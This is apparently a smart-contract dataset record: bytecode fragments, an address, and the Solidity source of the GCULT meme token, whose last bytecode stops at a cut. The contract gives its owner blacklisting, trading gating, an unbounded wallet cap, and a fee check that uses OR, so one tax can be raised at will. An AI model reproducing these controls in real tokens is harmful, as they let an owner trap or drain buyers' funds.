fffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612d6457600080fd5b8060059080519060200190612d7a929190614836565b5050565b612d866148b6565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612e1c5780601f10612df157610100808354040283529160200191612e1c565b820191906000526020600020905b815481529060010190602001808311612dff57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e8157600080fd5b8060229080519060200190612e97929190614836565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ef657600080fd5b8060199080519060200190612f0c929190614836565b5050565b612f186148b6565b60128054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612fae5780601f10612f8357610100808354040283529160200191612fae565b820191906000526020600020905b815481529060010190602001808311612f9157829003601f168201915b5050505050905090565b612fc06148b6565b601d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130565780601f1061302b57610100808354040283529160200191613056565b820191906000526020600020905b81548152906001019060200180831161303957829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156130bb57600080fd5b80601e90805190602001906130d1929190614836565b5050565b6130dd6148b6565b60118054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156131735780601f1061314857610100808354040283529160200191613173565b820191906000526020600020905b81548152906001019060200180831161315657829003601f168201915b5050505050905090565b6131856148b6565b60078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561321b5780601f106131f05761010080835404028352916020019161321b565b820191906000526020600020905b8154815290600101906020018083116131fe57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561328057600080fd5b8060019080519060200190613296929190614836565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156132f557600080fd5b80600b908051906020019061330b929190614836565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561336a57600080fd5b8060129080519060200190613380929190614836565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156133df57600080fd5b80601490805190602001906133f5929190614836565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561345457600080fd5b806008908051906020019061346a929190614836565b5050565b6134766148b6565b60108054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561350c5780601f106134e15761010080835404028352916020019161350c565b820191906000526020600020905b8154815290600101906020018083116134ef57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561357157600080fd5b8060169080519060200190613587929190614836565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156135e657600080fd5b80600290805190602001906135fc929190614836565b5050565b6136086148b6565b600b8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561369e5780601f106136735761010080835404028352916020019161369e565b820191906000526020600020905b81548152906001019060200180831161368157829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561370357600080fd5b80600a9080519060200190613719929190614836565b5050565b6137256148b6565b601b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156137bb5780601f10613790576101008083540402835291602001916137bb565b820191906000526020600020905b81548152906001019060200180831161379e57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561382057600080fd5b80601f9080519060200190613836929190614836565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561389557600080fd5b80601390805190602001906138ab929190614836565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561390a57600080fd5b80601a9080519060200190613920929190614836565b5050565b61392c6148b6565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156139c25780601f10613997576101008083540402835291602001916139c2565b820191906000526020600020905b8154815290600101906020018083116139a557829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613a2757600080fd5b80601b9080519060200190613a3d929190614836565b5050565b613a496148b6565b60198054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613adf5780601f10613ab457610100808354040283529160200191613adf565b820191906000526020600020905b815481529060010190602001808311613ac257829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b4457600080fd5b8060119080519060200190613b5a929190614836565b5050565b613b666148b6565b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613bfc5780601f10613bd157610100808354040283529160200191613bfc565b820191906000526020600020905b815481529060010190602001808311613bdf57829003601f168201915b5050505050905090565b613c0e6148b6565b60228054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613ca45780601f10613c7957610100808354040283529160200191613ca4565b820191906000526020600020905b815481529060010190602001808311613c8757829003601f168201915b5050505050905090565b613cb66148b6565b601f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613d4c5780601f10613d2157610100808354040283529160200191613d4c565b820191906000526020600020905b815481529060010190602001808311613d2f57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613db157600080fd5b8060039080519060200190613dc7929190614836565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613e2657600080fd5b8060109080519060200190613e3c929190614836565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613e9b57600080fd5b80600c9080519060200190613eb1929190614836565b5050565b613ebd6148b6565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613f535780601f10613f2857610100808354040283529160200191613f53565b820191906000526020600020905b815481529060010190602001808311613f3657829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613fb857600080fd5b8060209080519060200190613fce929190614836565b5050565b613fda6148b6565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156140705780601f1061404557610100808354040283529160200191614070565b820191906000526020600020905b81548152906001019060200180831161405357829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156140d557600080fd5b80601790805190602001906140eb929190614836565b5050565b6140f76148b6565b60088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561418d5780601f106141625761010080835404028352916020019161418d565b820191906000526020600020905b81548152906001019060200180831161417057829003601f168201915b5050505050905090565b61419f6148b6565b60188054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156142355780601f1061420a57610100808354040283529160200191614235565b820191906000526020600020905b81548152906001019060200180831161421857829003601f168201915b5050505050905090565b6142476148b6565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156142dd5780601f106142b2576101008083540402835291602001916142dd565b820191906000526020600020905b8154815290600101906020018083116142c057829003601f168201915b5050505050905090565b6142ef6148b6565b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156143855780601f1061435a57610100808354040283529160200191614385565b820191906000526020600020905b81548152906001019060200180831161436857829003601f168201915b5050505050905090565b6143976148b6565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561442d5780601f106144025761010080835404028352916020019161442d565b820191906000526020600020905b81548152906001019060200180831161441057829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561449257600080fd5b80600f90805190602001906144a8929190614836565b5050565b6144b46148b6565b60168054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561454a5780601f1061451f5761010080835404028352916020019161454a565b820191906000526020600020905b81548152906001019060200180831161452d57829003601f168201915b5050505050905090565b61455c6148b6565b600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156145f25780601f106145c7576101008083540402835291602001916145f2565b820191906000526020600020905b8154815290600101906020018083116145d557829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561465757600080fd5b80600e908051906020019061466d929190614836565b5050565b6146796148b6565b60098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561470f5780601f106146e45761010080835404028352916020019161470f565b820191906000526020600020905b8154815290600101906020018083116146f257829003601f168201915b5050505050905090565b6147216148b6565b60208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156147b75780601f1061478c576101008083540402835291602001916147b7565b820191906000526020600020905b81548152906001019060200180831161479a57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561481c57600080fd5b80601c9080519060200190614832929190614836565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061487757805160ff19168380011785556148a5565b828001600101855582156148a5579182015b828111156148a4578251825591602001919060010190614889565b5b5090506148b291906148ca565b5090565b602060405190810160405280600081525090565b6148ec91905b808211156148e85760008160009055506001016148d0565b5090565b905600a165627a7a7230582093977751687a0f3aa37e48f882a068a49adc809b3261a6690e7d017c0b00175a0029
{"success": true, "error": null, "results": {}}
8,300
0x043e720812e119eac1c530eb45176d58abf4d2e1
/** *Submitted for verification at Etherscan.io on 2022-04-10 */ //t.me/goblincult // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GCULT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "GOBLIN CULT"; string private constant _symbol = "GCULT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 10000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b257600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195c565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600b81526a11d3d09312538810d5531560aa1b60208201525b60405161023b9190611a21565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a76565b61069c565b604051901515815260200161023b565b34801561028057600080fd5b50601354610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50670de0b6b3a76400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611aa2565b6106b3565b3480156102fd57600080fd5b506102c360175481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601454610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ae3565b61071c565b34801561036f57600080fd5b506101fc61037e366004611b10565b610767565b34801561038f57600080fd5b506101fc6107af565b3480156103a457600080fd5b506102c36103b3366004611ae3565b6107dc565b3480156103c457600080fd5b506101fc6107fe565b3480156103d957600080fd5b506101fc6103e8366004611b2b565b610872565b3480156103f957600080fd5b506102c360155481565b34801561040f57600080fd5b506102c361041e366004611ae3565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611b10565b6108b4565b34801561047a57600080fd5b506102c360165481565b34801561049057600080fd5b5060408051808201909152600581526411d0d5531560da1b602082015261022e565b3480156104be57600080fd5b506101fc6104cd366004611b2b565b610913565b3480156104de57600080fd5b506101fc6104ed366004611b44565b610942565b3480156104fe57600080fd5b5061026461050d366004611a76565b61099c565b34801561051e57600080fd5b5061026461052d366004611ae3565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc6109a9565b34801561056357600080fd5b506101fc610572366004611b76565b6109df565b34801561058357600080fd5b506102c3610592366004611bfa565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b2b565b610a80565b3480156105e957600080fd5b506101fc6105f8366004611ae3565b610aaf565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c33565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c68565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c94565b915050610633565b5050565b60006106a9338484610b99565b5060015b92915050565b60006106c0848484610cbd565b610712843361070d85604051806060016040528060288152602001611dae602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f9565b610b99565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c33565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c33565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107cf57600080fd5b476107d981611233565b50565b6001600160a01b0381166000908152600260205260408120546106ad9061126d565b6000546001600160a01b031633146108285760405162461bcd60e51b815260040161062790611c33565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089c5760405162461bcd60e51b815260040161062790611c33565b6611c37937e0800081116108af57600080fd5b601555565b6000546001600160a01b031633146108de5760405162461bcd60e51b815260040161062790611c33565b601454600160a01b900460ff16156108f557600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093d5760405162461bcd60e51b815260040161062790611c33565b601755565b6000546001600160a01b0316331461096c5760405162461bcd60e51b815260040161062790611c33565b6009548211158061097f5750600b548111155b61098857600080fd5b600893909355600a91909155600955600b55565b60006106a9338484610cbd565b6012546001600160a01b0316336001600160a01b0316146109c957600080fd5b60006109d4306107dc565b90506107d9816112f1565b6000546001600160a01b03163314610a095760405162461bcd60e51b815260040161062790611c33565b60005b82811015610a7a578160056000868685818110610a2b57610a2b611c68565b9050602002016020810190610a409190611ae3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7281611c94565b915050610a0c565b50505050565b6000546001600160a01b03163314610aaa5760405162461bcd60e51b815260040161062790611c33565b601655565b6000546001600160a01b03163314610ad95760405162461bcd60e51b815260040161062790611c33565b6001600160a01b038116610b3e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610de55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610